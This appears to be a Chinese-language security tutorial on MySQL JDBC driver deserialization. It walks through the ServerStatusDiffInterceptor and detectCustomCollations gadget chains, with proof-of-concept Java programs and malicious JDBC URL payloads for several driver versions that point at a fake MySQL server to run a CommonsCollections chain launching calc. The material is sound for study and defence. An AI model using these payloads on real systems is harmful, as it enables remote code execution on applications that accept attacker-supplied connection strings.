环境:jdk8u65 mysql 8.0.19 commons-collections 3.2.1

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>JDBC</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.19</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

</project>

JDBC

JDBC (Java Database Connectivity) 作为接口实现的标准,对于不同的数据库有着不同的实现:

alt

JDBC基本使用

两种使用方法

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.sql.ResultSet;

public class JDBCTest {
    public static void main(String[] args) throws Exception{
        String url = "jdbc:mysql://localhost:3306/test?serverTimezone=UTC";
        String username = "root";
        String password = "password";

        // Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection(url, username, password);

        // 使用 connection 执行数据库操作
        Statement stmt = conn.createStatement();
        String sql = "SELECT * FROM user";
        ResultSet rs = stmt.executeQuery(sql);
        while(rs.next()){
            System.out.println(rs.getString("name")+" 年龄:"+rs.getInt("age"));
        }
    } 
}
import java.sql.Connection;
import java.sql.Statement;
import java.sql.ResultSet;
import java.sql.Driver;
import java.util.Properties;

public class JDBCTest {
    public static void main(String[] args) throws Exception{
        String url = "jdbc:mysql://127.0.0.1:3306/test?serverTimezone=UTC";
        Properties props = new Properties();
        props.setProperty("user", "root");
        props.setProperty("password", "password");

        // Driver driver = new com.mysql.jdbc.Driver();
        Driver driver = new com.mysql.cj.jdbc.Driver();
        Connection conn = driver.connect(url, props);

        // 使用 connection 执行数据库操作
        Statement stmt = conn.createStatement();
        String sql = "SELECT * FROM user";
        ResultSet rs = stmt.executeQuery(sql);
        while(rs.next()){
            System.out.println(rs.getString("name")+" 年龄:"+rs.getInt("age"));
        }
    }
}

ServerStatusDiffInterceptor链

在 jdbc url 中设定属性 queryInterceptorsServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcesspostProcess 方法

ServerStatusDiffInterceptor链:ServerStatusDiffInterceptor.postProcess -> ServerStatusDiffInterceptor.populateMapWithSessionStatusValues -> ResultSetUtil.resultSetToMap -> rs.getObject(即ResultSetImpl.getObject) -> objIn.readObject

需要注意的是 ResultSetImpl.getObject 中需要设置 autoDeserialize 为true才能调用到最后的反序列化:

if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
    Object obj = data;

    if ((data != null) && (data.length >= 2)) {
        if ((data[0] == -84) && (data[1] == -19)) {
            // Serialized object?
            try {
                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                obj = objIn.readObject();
                objIn.close();
                bytesIn.close();
            } catch (ClassNotFoundException cnfe) {
                throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                        + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
            } catch (IOException ex) {
                obj = data; // not serialized?
            }
        } else {
            return getString(columnIndex);
        }
    }

    return obj;
}

最后反序列化的数据是数据库服务器返回给请求的内容

因此jdbc url需要设置两个基本属性来满足反序列化条件: queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

后续根据不同的环境条件打不同的链子,比如本次环境为 commons-collections 3.2.1 就可以打CC6链,需要最后返回进行反序列化的数据就是CC6链序列化后的结果,网络数据包需要满足协议格式才可以进行数据库服务的伪造

伪造服务器可以直接用 mysql-fake-server 工具来实现,payload从user参数传递,也就是代码中进行连接时的url后的参数:

jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe

可以用cli版本直接伪造服务:

alt

poc:

import java.sql.Connection;
import java.sql.DriverManager;

public class JDBCTest {
    public static void main(String[] args) throws Exception{
        String url = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        String username = "deser_CC31_calc.exe";
        String password = "1";


        // Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection(url, username, password);

    }
}

alt

另一种使用方式同理:

alt

detectCustomCollations链

detectCustomCollations链:ConnectionImpl.buildCollationMapping -> Util.resultSetToMap -> rs.getObject(即ResultSetImpl.getObject)

ConnectionImpl.buildCollationMapping 中需要满足getDetectCustomCollations()为true才能进入Util.resultSetToMap

if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations()) {

    java.sql.Statement stmt = null;
    java.sql.ResultSet results = null;

    try {
            sortedCollationMap = new TreeMap<Long, String>();
            customCharset = new HashMap<Integer, String>();
            customMblen = new HashMap<String, Integer>();

            stmt = getMetadataSafeStatement();

            try {
                results = stmt.executeQuery("SHOW COLLATION");
                if (versionMeetsMinimum(5, 0, 0)) {
                    Util.resultSetToMap(sortedCollationMap, results, 3, 2);

ResultSetImpl.getObject 中需要满足 getAutoDeserialize() 为true才能调用到最后的反序列化

if (this.connection.getAutoDeserialize()) {
    Object obj = data;

    if ((data != null) && (data.length >= 2)) {
        if ((data[0] == -84) && (data[1] == -19)) {
            // Serialized object?
            try {
                ByteArrayInputStream bytesIn = new ByteArrayInputStream(
                        data);
                ObjectInputStream objIn = new ObjectInputStream(
                        bytesIn);
                obj = objIn.readObject();
                objIn.close();
                bytesIn.close();
            } catch (ClassNotFoundException cnfe) {
                throw SQLError.createSQLException(
                        Messages
                                .getString("ResultSet.Class_not_found___91") //$NON-NLS-1$
                                + cnfe.toString()
                                + Messages
                                        .getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor()); //$NON-NLS-1$
            } catch (IOException ex) {
                obj = data; // not serialized?
            }
        } else {
            return getString(columnIndex);
        }
    }

    return obj;
}

因此jdbc url需要设置两个基本属性来满足反序列化条件: detectCustomCollations=true&autoDeserialize=true

同样利用 mysql-fake-server 工具来搭建服务和生成payload:

jdbc:mysql://ip:port/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CC31_calc.exe

poc:

import java.sql.Connection;
import java.sql.DriverManager;

public class JDBCTest {
    public static void main(String[] args) throws Exception{
        String url = "jdbc:mysql://127.0.0.1:3308/test?detectCustomCollations=true&autoDeserialize=true";
        String username = "deser_CC31_calc.exe";
        String password = "1";

        // Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection(url, username, password);

    }
}

alt

总结

根据不同的sql版本有一些属性名的区别,但本质上还是上面两条链:

5.1.10 - 5.1.18 不调用resultSeToMap poc:

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class JDBCTest {
    public static void main(String[] args) throws Exception{
        String url = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
        String username = "deser_CC31_calc.exe";
        String password = "1";
        // Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection(url, username, password);
        String sql = "";
        PreparedStatement ps = conn.prepareStatement(sql);
        //执行查询操作,返回的是数据库结果集的数据表
        ResultSet resultSet = ps.executeQuery();

    }
}

5.1.19 - 5.1.28:

jdbc:mysql://ip:port/test?autoDeserialize=true&user=deser_CC31_calc.exe

5.1.29 - 5.1.48

jdbc:mysql://ip:port/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CC31_calc.exe

6.02 - 6.06

jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe

8.07 - 8.20

jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe

参考资料:

https://xz.aliyun.com/news/18822

https://xz.aliyun.com/news/7754

https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html

https://github.com/4ra1n/mysql-fake-server